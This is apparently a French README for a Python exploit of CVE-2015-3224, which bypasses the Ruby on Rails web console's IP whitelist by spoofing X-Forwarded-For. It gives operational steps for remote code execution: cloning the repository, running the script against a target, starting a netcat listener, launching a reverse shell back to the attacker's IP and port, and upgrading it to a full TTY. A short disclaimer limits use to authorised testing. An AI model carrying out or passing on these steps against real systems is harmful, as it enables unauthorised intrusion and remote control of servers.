
Exploit de la console web Ruby on Rails (CVE-2015-3224)
Ce référentiel contient un script Python pour exploiter une vulnérabilité de contournement de la liste blanche d'adresses IP dans la console de développement Web de Ruby on Rails 4.0.x et 4.1.x. Le script permet l'exécution de code à distance sur les serveurs vulnérables.
⚠️ Avertissement Ce script est destiné à des fins éducatives et à des tests de sécurité autorisés uniquement. Ne l'utilisez pas sur un système sans autorisation explicite. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce script.
La console Web dans les versions vulnérables de Ruby on Rails est destinée à des fins de développement et ne devrait être accessible qu'à partir d'adresses IP de confiance. Cependant, en raison d'une gestion incorrecte de l'en-tête HTTP X-Forwarded-For, un attaquant peut usurper son adresse IP pour apparaître comme un utilisateur local de confiance (par exemple, 127.0.0.1 ou ::1). Cela contourne la liste blanche des adresses IP et accorde un accès non autorisé à la console Web, conduisant à une exécution de code à distance.
requestsInstaller requests :
pip install requests
Cloner le dépôt :
git clone https://github.com/Sic4rio/CVE-2015-3224
cd <nom-du-dossier>
Rendre le script exécutable :
chmod +x exploit.py
Ce mode est utile pour exécuter des commandes simples et rapides.
./exploit.py -t http://<IP_CIBLE>:<PORT>
Ce mode est recommandé pour un shell stable et entièrement interactif.
Sur votre machine locale, ouvrez un nouveau terminal et démarrez un écouteur netcat.
nc -lvnp 9001
Dans un autre terminal, exécutez le script avec l'option --rev-shell, en fournissant votre IP locale (lhost) et votre port (lport).
./exploit.py -t http://<IP_CIBLE>:<PORT> --rev-shell --lhost <VOTRE_IP> --lport 9001
Une connexion arrivera sur votre écouteur netcat. Pour l'améliorer en un shell TTY entièrement interactif, suivez ces étapes dans la fenêtre netcat :
Ctrl+Z.stty raw -echo; fg
Entrée si l'invite ne réapparaît pas.reset
export SHELL=bash
export TERM=xterm-256color
stty rows 50 cols 120
Vous avez maintenant un shell stable et entièrement fonctionnel !